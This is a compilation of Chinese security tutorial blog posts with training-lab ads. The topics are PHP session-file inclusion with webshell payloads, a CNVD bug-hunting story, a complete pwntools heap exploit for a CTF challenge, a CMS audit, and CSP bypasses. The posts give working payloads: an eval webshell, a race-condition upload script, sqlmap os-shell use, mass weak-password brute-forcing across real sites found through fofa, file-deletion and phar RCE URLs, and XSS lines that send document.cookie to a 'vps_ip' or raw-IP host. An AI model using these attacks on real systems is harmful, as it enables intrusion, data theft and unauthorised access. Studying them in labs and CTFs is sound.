我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程
演示代码
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION["username"] = $username; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
payload
分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
我们传入
username=Abc
我们看到,系统给我们初始了一个sess_ID
可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢
username=<?php eval($_REQUEST['Abc']);?>
一句话马传入了,我们试试是不是真的可以像我们想的那样执行
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含
下面,我们来讲一讲怎么绕过这些限制
Session Base64Encode
很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。
demo
session.php
<?php session_start(); $username = $_POST['username']; $_SESSION['username'] = base64_encode($username); echo "username -> $username"; ?>
index.php
<?php $file = $_GET['file']; include($file); ?>
exp
按照我们的一般套路注入
我们可以发现我们包含的session被编码了,导致LFI -> session失败。
在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92
吼,无法解码!
这是为什么,来来来我们再仔细看看session文件内容
username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码
那么我们有什么方法解决吗
首先我们先来了解一下base64编码的特点
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?>
符合,我们重新传参看看
执行成功
注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理
No session_start()
一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢
还记得我们上面说过的Session Upload Progress吗?
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——https://xz.aliyun.com/u/31688
session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控
但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用
import io import requests import threading sessid = 'SsBNMsssSssssL' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files
国赛的脚本,改下payload即可
记录一次cnvd挖掘过程
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
曾经的我,以为挖掘cnvd是一个非常遥不可及的事情,注册资产5000万黑盒10案例(目前还不会代码审计吖,后续会努力学习吖!)这个门槛就已经难住我了(脚本小子的自述)。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915533100001 (本实验主要介绍了利用sqlmap辅助手工注入,通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。)
事情的转机在于某次挖掘edu的过程中,且漏洞都非常小白,无任何技术含量,师傅们看个热闹就好了,在校学生只想赚点生活费。呜呜呜呜~
主页界面常规漏洞测试一波,如弱口令,以及登陆框注入,均无果,发现还存在一处密码找回功能。
找回密码界面。
每个参数挨个测试一下最简单的注入加一个单引号’ 当然也仅仅限于为我这种偷懒型选手了,对于int型注入点如果做了报错处理可能无法探测,各位师傅们挖洞的时候不要学我一样偷懒哦。
运气果然很重要啊,阿巴阿巴,直接出货,且目标不存在waf直接上sqlmap跑了
Dba权限sqlserver数据库,直接起飞,难得找绝对路径写shell了直接os-shell 成功获取权限,而且可回显。
通过企查查查询了一下开发单位,发现资产过5000万,接下来只要案例满足10例就可了,fofa查询相关关键字,收集一波站点。
还算不错,阿巴阿巴,整理整理继续肝,一个良好的开端从有洞开始,
于是想着写一波脚本,批量跑一下admin账户的弱口令,这么多站点,我不相信没有一个弱口令,大概看了几个站点,发现一模一样的站,于是直接在某个站点本地F12 看他登陆请求包,然后写脚本,批量跑一下
又尝试了另一种方式,感谢fengxsone老表给我说的这个selenium自动化测试模块,阿巴阿巴,顺便拿来练练手,这里简单介绍一下呀,百度无所不能。
通过pip install selenium 或者在pycharm中搜索安装模块即可
这个模块呢,非常非常简单哈,安装完成之后,需要下载对应浏览器对应版本的驱动,之后就可以愉快的玩耍了,有兴趣的师傅,记得看开发手册吖,我觉得我讲的太low还是打扰了
Run一下之后就是一个慢慢等待的过程咯
大约跑了20几个站点之后,成功使用admin—123456进入后台。我的脚本也gg了,没有写跳转的操作,我菜,阿巴阿巴
进入后台后,一通操作,找到一处上传点,but上传到的路径居然传到一台文件服务器上面去了,虽然能拿到一个文件服务器的shell,但是估计其他站的文件也是传在这个服务器上面,溜了溜了。
继续fuzz,注销登陆,之后重新登录同时使用burp抓包,单独拉出来放包,请叫我打码小王子。
发现并未存在session或者token参数。于是直接到其他站点,随意输入账户密码,替换返回包。直接越权到admin账户。
接着fuzz,该测的测了,但在密码重置处倒是有点东东,身份证只要输入存在的账户,手机号输入自己的即可将验证码发送到自己的手机
所以说这里我们只需要获取到可登陆的身份证即可用自己的手机号接受到验证码,于是登陆,后台,在用户管理界面抓包。之后就是慢慢删除cookie的过程了,这里推荐一下burp的这个功能,贼好用
在这个功能模块中,可以快速的fuzz cookie简直不要太舒服,最后发现只需要一个schoolcon参数,即可未授权访问,而且schoocan参数在加载页面时就已经有了
整理开交,阿巴阿巴。
假装一段时间后~~~~~~证书下来了,嚯嚯,起飞。
阿巴阿巴,太没有技术含量了,各位师傅们见谅,才入门还要学习的东西太多了,有想要一起学习互相监督滴嘛?我的qq807483402 另外 欢迎大家关注微信公众号F12sec啦我们是一群有梦想的网络安全爱好者哟,阿巴阿巴。
快速入门堆溢出技巧(OFF BY ONE)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
OFF BY ONE
所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节
并且堆块的fd(前驱指针)以及bk(后继指针)都会指向
main_arena+88的地址这也是我们泄露出来的地址
利用gdb 输入libc查看基地址,main_arena+88-libc=offset
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=9613f998-8cd2-4981-9bc5-9900c97371de (本实验主要介绍了缓冲区溢出基础与实例,通过本实验的学习,了解缓冲区溢出的原理与危害,掌握防范缓冲区溢出的基本方法)
UNSORTERBIN&FASTBINS
在堆块的bins中分为fastbins,largebins,smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。
例题讲解
本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到
思路概述
我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块
其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的
编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击
接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可
First step
常规操作checksec
保护全开64位,倒也正常。接着拉进ida慢慢分析
q@ubuntu:~$ checksec vn
[*] '/home/q/vn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
如下我们可以发现是个非常经典的菜单题目,那么经过查找漏洞点发现在edit函数
void __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_A39(a1, a2, a3);
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
menu();
switch ( (unsigned int)sub_9EA() )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
show();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Please input current choice.");
break;
}
}
}
如下get_input_content里面有个off by one 的漏洞
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 )
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
Second step
在第一步我们对程序的漏洞点寻找完毕
现在我们要开始第二步去利用off by one创建fake chunk了,先上交互函数
from pwn import *
context(log_level='debug')
r=process('./vn')
#elf=ELF('./vn')
#r=remote('node3.buuoj.cn',28465)
libc=ELF('16.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
如思路概述所讲到我们需要创建4个堆
我们创建好的堆结构如下
在gdb中正常的堆结构如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x556b208da000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x556b208da020
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da090
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x556b208da100
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x556b208da120
Size: 0x20ee1
接下来我们开始利用off by one去对其创建fake chunk
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk
edit(0,b'a'*0x18+b'\xe1')
free(1)
gdb.attach(r)
gdb中调试结果如下,我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块,此时我们的fake chunk就构建完毕了
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650f994f000
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650f994f020
Size: 0xe1
fd: 0x7fc2f9aebb78
bk: 0x7fc2f9aebb78
Allocated chunk
Addr: 0x5650f994f100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x5650f994f120
Size: 0x20ee1
Third step
有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc
在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk
其fd bk指针会指向main_arena+88,在gdb输入libc可以得到libc的地址
main_arena+88-libc=offset=0x3c4b78
在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢?
这里就要继续提到
分割unsortedbin
我们重新申请一个堆块,该堆块的大小若刚好在unsortedbin中(强烈建议对半分割),我们申请回来之后通过gdb可以看见其中的堆结构如下
一个0x71在unsortedbin,另外一个是我们可以正常使用的,此时他的内容便是fd与bk指向的地址main_arena+88
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x559615971000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x559615971020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x559615971090
Size: 0x71
fd: 0x7f0437e11b78
bk: 0x7f0437e11b78
Allocated chunk
Addr: 0x559615971100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x559615971120
Size: 0x20ee1
因此我们可以得的泄露脚本如下
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露
main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
gdb.attach(r)
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
PS:
这里可以说下为什么fake_chunk_addr=malloc_hook-0x23
这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的
如下0x7f78812fbaed就是fake chunk的地址处于fastbins
并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址,并且该地址也是我们对堆块输入内容的地址
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
Last step
我们现在有了需要的一切,那么现在最后一步就是对堆进行排布并且传入我们构建好的payload
在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload
从第三步完结的时候堆排布如下
此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来
此时堆结构依然不改变,只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555d4046b020
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555d4046b090
Size: 0x71
fd: 0x7ff34264eb78
bk: 0x7ff34264eb78
Allocated chunk
Addr: 0x555d4046b100
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x555d4046b120
Size: 0x20ee1
接下来我们再去free掉一个0x68大小的chunk
对留下来的0x68大小的chunk内容填充为fake chunk的地址
接着继续把被free的chunk申请回来,那么此时fastbin链表就会去指向fake chunk
也许语言看蒙了人,我就用图表示
图1如下是free掉后再去填充的样子
图2如下是我们把被free的chunk申请回来后的样子
此时我们可以说是已经劫持成功了,我们接着去填充payload然后再申请一个堆块就可以触发payload了
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
PS:
关于为什么是0x13-0x08,因为我们从main_arena-0x33的位置填充的(第三步有提到),而这个位置距离realloc_hook的距离就是(0x13-8)
关于realloc_hook压栈到底要加多少
我们可以打开gdb输入 x/32i __libc_realloc
pwndbg> x/32i __libc_realloc
0x7ff34230e710 <__GI___libc_realloc>: push r15
0x7ff34230e712 <__GI___libc_realloc+2>: push r14
0x7ff34230e714 <__GI___libc_realloc+4>: push r13
0x7ff34230e716 <__GI___libc_realloc+6>: push r12
0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi
0x7ff34230e71b <__GI___libc_realloc+11>: push rbp
0x7ff34230e71c <__GI___libc_realloc+12>: push rbx
把里面的数字一个个代入试试看。
最后的完整exp如下
EXP:
需要的libc从buuctf里面下载
from pwn import *
context(log_level='debug')
#r=process('./vn')
#elf=ELF('./vn')
r=remote('node3.buuoj.cn',28640)
libc=ELF('64.so')
def add(size,content):
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(size))
r.sendlineafter("content:",content)
def edit(idx,content):
r.recvuntil("choice: ")
r.sendline("2")
r.sendlineafter("idx?",str(idx))
r.sendlineafter("content:",content)
def dump(idx):
r.recvuntil("choice: ")
r.sendline("3")
r.sendlineafter("idx?",str(idx))
def free(idx):
r.recvuntil("choice: ")
r.sendline("4")
r.sendlineafter("idx?",str(idx))
#gdb.attach(r)
add(0x18,b'a')#0
add(0x68,b'a')#1
add(0x68,b'a')#2
add(0x18,b'a')#3 阻断top chunk
edit(0,b'a'*0x18+b'\xe1')
free(1)
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arena
dump(2)
leak=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(leak))
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000
realloc_addr=libc_base+libc.sym['__libc_realloc']
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
one_gadget=libc_base+0x4526a
print(hex(realloc_addr))
print(hex(fake_chunk_addr))
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)
edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)#5
r.recvuntil("choice: ")
r.sendline("1")
r.sendlineafter("size?",str(0x18))
print(hex(libc.sym['__malloc_hook']))
r.interactive()
结果如下
记某cms审计过程(新手入门篇)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
今天放假闲着无事就找了个cms来挖挖漏洞,挖到的漏洞比较简单,适合新手入门,所以本篇文章就记录一下这几个漏洞的审计过程,以及如何从新手的角度去挖到cms一些常见的漏洞,如果是大佬就可以绕道了。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 (通过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。)
前置工作
寻找cms及搭建
一般来说我们可以到谷歌百度等引擎找到cms的官网下载源码,或者码云,然后在本地用phpstudy搭建起来环境
我们在这里下载cms的源码,下载之后怎么在本地搭建呢
我们打开phpstudy-》其他选项菜单-》站点域名管理里
把网站目录填写你下载源码的路径就好了,然后进hosts添加域名
然后不出意外就可以访问了
配置debug
在白盒代码审计的时候你可能会需要到断点调试,这个时候就需要用到xdebug,这里我个人用的是vscode编辑器,当然你用phpstorm也是可以的,配置过程如下
首先在vscode的应用商店下载php debug插件
在php.ini添加
[XDebug]
xdebug.profiler_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug"
zend_extension="D:\phpStudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug.dll"
xdebug.remote_enable = on
xdebug.remote_autostart = on
在文件-》首选项-》设置-》用户-》扩展-》settings.json
{
"php.validate.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",
"editor.mouseWheelZoom": true,
"php.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe",
"workbench.editorAssociations": [
{
"viewType": "jupyter.notebook.ipynb",
"filenamePattern": "*.ipynb"
}
],
"explorer.confirmDelete": false
}
launch.json添加
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9000
},
]
}
上面一些路径自行更改一下,然后我们新建一个1.php打个断点,然后访问http://127.0.0.1/1.php,如果出现如下,就说明xdebug环境就成功搭建了
文件上传漏洞
通常来说,漏洞等级评级高的就是可以rce的高危漏洞,而想要rce最常见的就是文件上传
找文件上传漏洞的话,有两种思路,分别为黑盒和白盒,对新手来说代码功底不强的话,黑盒应该是会比较简单的,这里分别从两个不同的角度来寻找漏洞
黑盒思路
一般来说网站的后台很多地方都是可以文件上传的,我们进入后台之后可以寻找诸如文章发布处,修改头像处,附件,插件管理等地方,特别是像在文章发布处有这种富文本编辑器的地方往往会有上传图片和上传附件的功能
我们拿刚刚搭建好的cms,进入后台之后在发布文章处找到有可以上传图片的地方
我们随便上传一个1.php,发现提示上传图片发生错误,应该是被过滤了
但不确定是不是前端过滤还是后端过滤,我们先上传1.jpg,抓包改一下
发现上传成功,原来只是前端过滤,芜湖这不起飞,我们再访问一下我们上传的文件
发现已经成功getshell
这里的过滤比较简单,新手可以学一下各种绕过的技巧:https://xz.aliyun.com/t/6692
那么除了发布文章处,我们还可以在上传图片这些地方入手
我们在微信小程序这里的基本设置处看到有个首页分享封面
和上面一样,只是前端做了过滤,我们抓包改文件即可
但是这里的话只是提示上传成功,没有回显出来文件的名字,我们可以在本地文件处看看到底上传了什么东西
发现上传了wx_share_cover.php,这个文件的名字是固定的,于是我们访问试试看
发现也已经成功getshell
白盒思路
对于初学者而言,找漏洞不能只看黑盒,也要基于白盒审计进行,所谓白盒审计可以简单地理解为就是看着代码找漏洞
我们知道php文件上传的函数是move_uploaded_file(),或者一般来说上传的方法名是有upload关键字的,我们可以全局搜索他们定位到上传功能的代码里面
我们找到相应的代码块如下
可以看到validate的check就是这里的过滤,我们用上面的方法绕过即可,如果想清楚的跟踪进这个函数就可以在这里打个断点,然后分析
当然白盒寻找rce漏洞,我们还可以找找file_put_content等可以直接写文件的函数
任意文件删除
通常我们找文件删除漏洞的话,可以全局搜索unlink函数
第一处
这里的代码功能比较简单,正如注释所说的删除目录下面的所有文件,但不删除目录
我们可以看到$directory是我们可控的,而且没用做任何的过滤,说不定就可以穿越目录从而任意删除文件了,我们先手动加一个var_dump(scandir("."));来观察一下这里所处的位置
可以看到现在是在public的目录下,那我们就在上一层目录随便新建一个目录,里面随便新建几个文件试试看
我们输入
http://www.test123.com/system/dir/del?directory=../123
可以发现txt文件都被删除了,但是文件夹没有被删除
因为这个功能不能删除目录,只能删除目录的文件,如果我们还想删412315里面的文件就可以输入
http://www.test123.com/system/dir/del?directory=../123/412315
第二处
这里和第一处差不多,但是功能有点不一样,这里是可以把整个目录删除了,我们输入如下就可以删除整个123目录了
http://www.test123.com/system/dir/delDir?directory=../123
反序列化漏洞
既然前面已经挖到了文件上传漏洞,这个cms又是thinkphp6.0的版本,我们可以再找一下有没有可以触发phar函数的漏洞
第一处
突然看到我们前面的任意文件删除漏洞处,不正是有个is_dir函数吗,而且又是可以控制的,真是踏破铁鞋无觅处得来全不费功夫
我们先用网上公开的反序列化链生成test.jpg,然后利用上面的任意文件删除漏洞上传,上传到这个位置
{"code":1,"msg":"上传成功","url":["http:\/\/www.test123.com\/uploads\/postImages\/20210404\\3c5ea1104433e1cb734be47ab8377a11.jpg"]}
我们再用phar协议去触发这个文件即可rce
http://www.test123.com/system/dir/del?directory=phar://uploads/postImages/20210404/3c5ea1104433e1cb734be47ab8377a11.jpg
第n处
除了上面那个任意文件删除处的is_dir,我们可以再找找还有没有其他地方能够触发的,随手一找又发现两处
这还只是单单用is_dir函数,没算上其他的就已经那么多了,这个 cms 真是"漏洞百出"
本文的漏洞已提交至 cnvd 平台,作为新手找一些少人用的 cms 挖上面几种漏洞还是比较容易的
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CSP浅析与绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110316534000001 (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。)
什么是CSP
CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以
CSP如何工作
通过响应包头(Response Header)实现:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
通过HTML 元标签实现:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP指令
我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明:
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
CSP指令值
介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
下面通过具体的例子来看看CSP指令和指令值的用法:
<img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源;
<script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源;
<script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源;
CSP绕过
CSP从诞生时起即有安全研究人员所探索,本文总结部分方法
在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 https://csp-evaluator.withgoogle.com/检测一波,有奇效(手动滑稽)
location.href绕过
href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。
CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法
demo
<?php if (!isset($_COOKIE['a'])) { setcookie('a',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['a'])) { echo "Your GET content".@$_GET['a']; }// ?>
这个地方可以用location跳转:location.href(window.location/window.open)绕过
exp
?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>
在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法
location.href = "vps_ip:xxxx?"+document.cookie
可以执行任意js脚本,但由于CSP无法数据外带
CSP为script-src 'unsafe-inline'
link标签预加载导致的绕过
这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行
<!-- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <!-- chrome --> <link rel="prefetch" href="//vps_ip?${cookie}">
那我们该如何将数据外带呢
动态构建元素,再引发页面跳转
var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//vps_ip/?" + document.cookie); document.head.appendChild(link);
这样就可以将cookie外带了
可以执行任意js脚本,但由于CSP无法外带数据
meta网页跳转绕过
与link标签原理相似,利用meta标签实现网页跳转
http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" >
除此之外,meta标签还有一些不常用的功能有时也能起奇效
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用
